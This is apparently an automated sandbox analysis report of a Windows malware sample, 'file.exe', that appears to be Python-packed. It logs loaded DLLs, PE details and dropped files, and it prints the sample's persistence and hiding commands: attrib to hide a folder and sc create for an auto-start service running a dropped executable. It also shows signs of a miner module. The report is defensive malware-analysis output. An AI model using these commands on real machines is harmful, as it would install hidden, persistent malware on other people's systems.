Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\driverpatch9t1ohxw8\di.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\dwm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\dwm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\dwm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\dwm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\dwm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\dwm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\dwm.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\dwm.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\dwm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\dwm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\dwm.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\dwm.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\dwm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\dwm.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\dwm.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\dwm.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\dwm.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\dwm.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\dwm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\dwm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\dwm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\dwm.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\dwm.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\dwm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\dwm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\dwm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\dwm.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: file.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: file.exe

Static file information: File size 7805885 > 1048576

Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: file.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: D:\a\1\b\bin\amd64\select.pdb source: file.exe, 00000000.00000003.1815133932.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2090170248.00007FFE13213000.00000002.00000001.01000000.0000000B.sdmp, file.exe, 00000005.00000003.2067157657.000002A2E3A03000.00000004.00000020.00020000.00000000.sdmp, select.pyd.5.dr, select.pyd.0.dr
Source:	Binary string: D:\a\1\b\bin\amd64\python312.pdb source: file.exe, 00000001.00000002.2087672240.00007FFDFB3E2000.00000002.00000001.01000000.00000004.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\unicodedata.pdb source: file.exe, 00000000.00000003.1815322926.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2089146083.00007FFDFF3EF000.00000002.00000001.01000000.00000010.sdmp, file.exe, 00000005.00000003.2067346492.000002A2E3A03000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_ctypes.pdb source: file.exe, 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmp
Source:	Binary string: D:\a\1\b\libcrypto-3.pdb\| source: file.exe, 00000001.00000002.2087157431.00007FFDFAF31000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_hashlib.pdb source: file.exe, 00000000.00000003.1809796789.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2090364978.00007FFE13247000.00000002.00000001.01000000.00000008.sdmp, file.exe, 00000005.00000003.2061099852.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\libssl-3.pdbDD source: file.exe, 00000001.00000002.2089664904.00007FFE00524000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdbNN source: file.exe, 00000000.00000003.1809919866.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2089815185.00007FFE1025C000.00000002.00000001.01000000.0000000F.sdmp, file.exe, 00000005.00000003.2061238143.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdb source: file.exe, 00000000.00000003.1809919866.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2089815185.00007FFE1025C000.00000002.00000001.01000000.0000000F.sdmp, file.exe, 00000005.00000003.2061238143.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_bz2.pdb source: file.exe, 00000000.00000003.1808920085.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2089938398.00007FFE11EAE000.00000002.00000001.01000000.0000000E.sdmp, file.exe, 00000005.00000003.2060566259.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG"OpenSSL 3.0.13 30 Jan 20243.0.13built on: Mon Feb 5 17:39:09 2024 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-3"MODULESDIR: "C:\Program Files\OpenSSL\lib\ossl-modules"CPUINFO: N/Anot availableget_and_lock..\s\crypto\ex_data.cossl_crypto_get_ex_new_index_exossl_crypto_new_ex_data_exCRYPTO_dup_ex_dataCRYPTO_set_ex_dataOPENSSL_WIN32_UTF8..\s\crypto\getenv.ccompiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG";CPUINFO: OPENSSL_ia32cap=0x%llx:0x%llxOPENSSL_ia32cap env:%sos-specificC:\Program Files\Common Files\SSLC:\Program Files\OpenSSL\lib\ossl-modules.dllCPUINFO: ..\s\crypto\init.cOPENSSL_init_cryptoOPENSSL_atexit..\s\crypto\initthread.c..\s\crypto\mem_sec.cassertion failed: (bit & 1) == 0assertion failed: list >= 0 && list < sh.freelist_sizeassertion failed: ((ptr - sh.arena) & ((sh.arena_size >> list) - 1)) == 0assertion failed: bit > 0 && bit < sh.bittable_sizeassertion failed: TESTBIT(table, bit)assertion failed: !TESTBIT(table, bit)assertion failed: WITHIN_FREELIST(list)assertion failed: WITHIN_ARENA(ptr)assertion failed: temp->next == NULL \|\| WITHIN_ARENA(temp->next)assertion failed: (char *)temp->next->p_next == listassertion failed: WITHIN_FREELIST(temp2->p_next) \|\| WITHIN_ARENA(temp2->p_next)assertion failed: size > 0assertion failed: (size & (size - 1)) == 0assertion failed: (minsize & (minsize - 1)) == 0assertion failed: sh.freelist != NULLassertion failed: sh.bittable != NULLassertion failed: sh.bitmalloc != NULLassertion failed: !sh_testbit(temp, slist, sh.bitmalloc)assertion failed: temp != sh.freelist[slist]assertion failed: sh.freelist[slist] == tempassertion failed: temp-(sh.arena_size >> slist) == sh_find_my_buddy(temp, slist)assertion failed: sh_testbit(chunk, list, sh.bittable)assertion failed: WITHIN_ARENA(chunk)assertion failed: sh_testbit(ptr, list, sh.bittable)assertion failed: ptr == sh_find_my_buddy(buddy, list)assertion failed: ptr != NULLassertion failed: !sh_testbit(ptr, list, sh.bitmalloc)assertion failed: sh.freelist[list] == ptr/0123456789ABCDEFCRYPTO_memdup..\s\crypto\o_str.chexstr2buf_sepossl_hexstr2buf_sepbuf2hexstr_sepossl_buf2hexstr_sep..\s\crypto\packet.cwpacket_intern_init_lenWPACKET_start_sub_packet_len__..\s\crypto\param_build.cparam_pushparam_push_numOSSL_PARAM_BLD_push_BN_padNegative big numbers are unsupported for OSSL_PARAMOSSL_PARAM_BLD_push_utf8_stringOSSL_PARAM_BLD_push_utf8_ptrOSSL_PARAM_BLD_push_octet_stringOSSL_PARAM_BLD_
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: file.exe, 00000000.00000003.1808732092.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2090717065.00007FFE14643000.00000002.00000001.01000000.00000005.sdmp, file.exe, 00000005.00000003.2060353879.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG" source: file.exe, 00000001.00000002.2087157431.00007FFDFAE99000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: file.exe, 00000000.00000003.1808732092.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2090717065.00007FFE14643000.00000002.00000001.01000000.00000005.sdmp, file.exe, 00000005.00000003.2060353879.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\libcrypto-3.pdb source: file.exe, 00000001.00000002.2087157431.00007FFDFAF31000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_socket.pdb source: file.exe, 00000000.00000003.1810059866.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2090271176.00007FFE13229000.00000002.00000001.01000000.0000000A.sdmp, file.exe, 00000005.00000003.2061397611.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\libssl-3.pdb source: file.exe, 00000001.00000002.2089664904.00007FFE00524000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_ssl.pdb source: file.exe, 00000001.00000002.2090035870.00007FFE11ECD000.00000002.00000001.01000000.0000000C.sdmp

Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: libssl-3.dll.0.dr	Static PE information: section name: .00cfg
Source: python312.dll.0.dr	Static PE information: section name: PyRuntim
Source: VCRUNTIME140.dll.0.dr	Static PE information: section name: fothk
Source: VCRUNTIME140.dll.0.dr	Static PE information: section name: _RDATA
Source: libcrypto-3.dll.0.dr	Static PE information: section name: .00cfg
Source: VCRUNTIME140.dll.5.dr	Static PE information: section name: fothk
Source: VCRUNTIME140.dll.5.dr	Static PE information: section name: _RDATA
Source: libcrypto-3.dll.5.dr	Static PE information: section name: .00cfg
Source: libssl-3.dll.5.dr	Static PE information: section name: .00cfg
Source: python312.dll.5.dr	Static PE information: section name: PyRuntim
Source: di.exe.6.dr	Static PE information: section name: .eh_fram
Source: di.exe.6.dr	Static PE information: section name: .xdata
Source: ucqazsqoscdf.tmp.18.dr	Static PE information: section name: _RANDOMX
Source: ucqazsqoscdf.tmp.18.dr	Static PE information: section name: _TEXT_CN
Source: ucqazsqoscdf.tmp.18.dr	Static PE information: section name: _TEXT_CN
Source: ucqazsqoscdf.tmp.18.dr	Static PE information: section name: _RDATA

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004C4021 push rcx; ret		1_2_00007FFE004C4022
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE11EA9B0C push 82000085h; retn 0000h		1_2_00007FFE11EA9B11

Persistence and Installation Behavior

Uses attrib.exe to hide files

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\attrib.exe attrib +H +S "C:\Users\user\AppData\Local\driverpatch9t1ohxw8"

Source: C:\Users\user\AppData\Local\driverpatch9t1ohxw8\di.exe	File created: C:\Users\user\AppData\Local\Temp\ucqazsqoscdf.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\driverpatch9t1ohxw8\di.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI67402\libssl-3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42802\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI67402\libffi-8.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42802\select.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI67402\select.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI67402\python312.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42802\python312.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42802\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42802\libcrypto-3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI67402\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42802\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42802\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI67402\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI67402\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI67402\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI67402\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42802\libffi-8.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42802\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI67402\_socket.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI67402\libcrypto-3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI67402\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42802\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42802\libssl-3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI67402\VCRUNTIME140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42802\_socket.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI67402\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42802\VCRUNTIME140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42802\_decimal.pyd	Jump to dropped file

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\sc.exe sc create DrvSvc binPath= "C:\Users\user\AppData\Local\driverpatch9t1ohxw8\di.exe" start= auto

Hooking and other Techniques for Hiding and Protection

Found hidden mapped module (file has been removed from disk)

Source: C:\Users\user\AppData\Local\driverpatch9t1ohxw8\di.exe

Module Loaded: C:\USERS\user\APPDATA\LOCAL\TEMP\UCQAZSQOSCDF.TMP

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00007FF78D286ED0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00007FF78D286ED0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
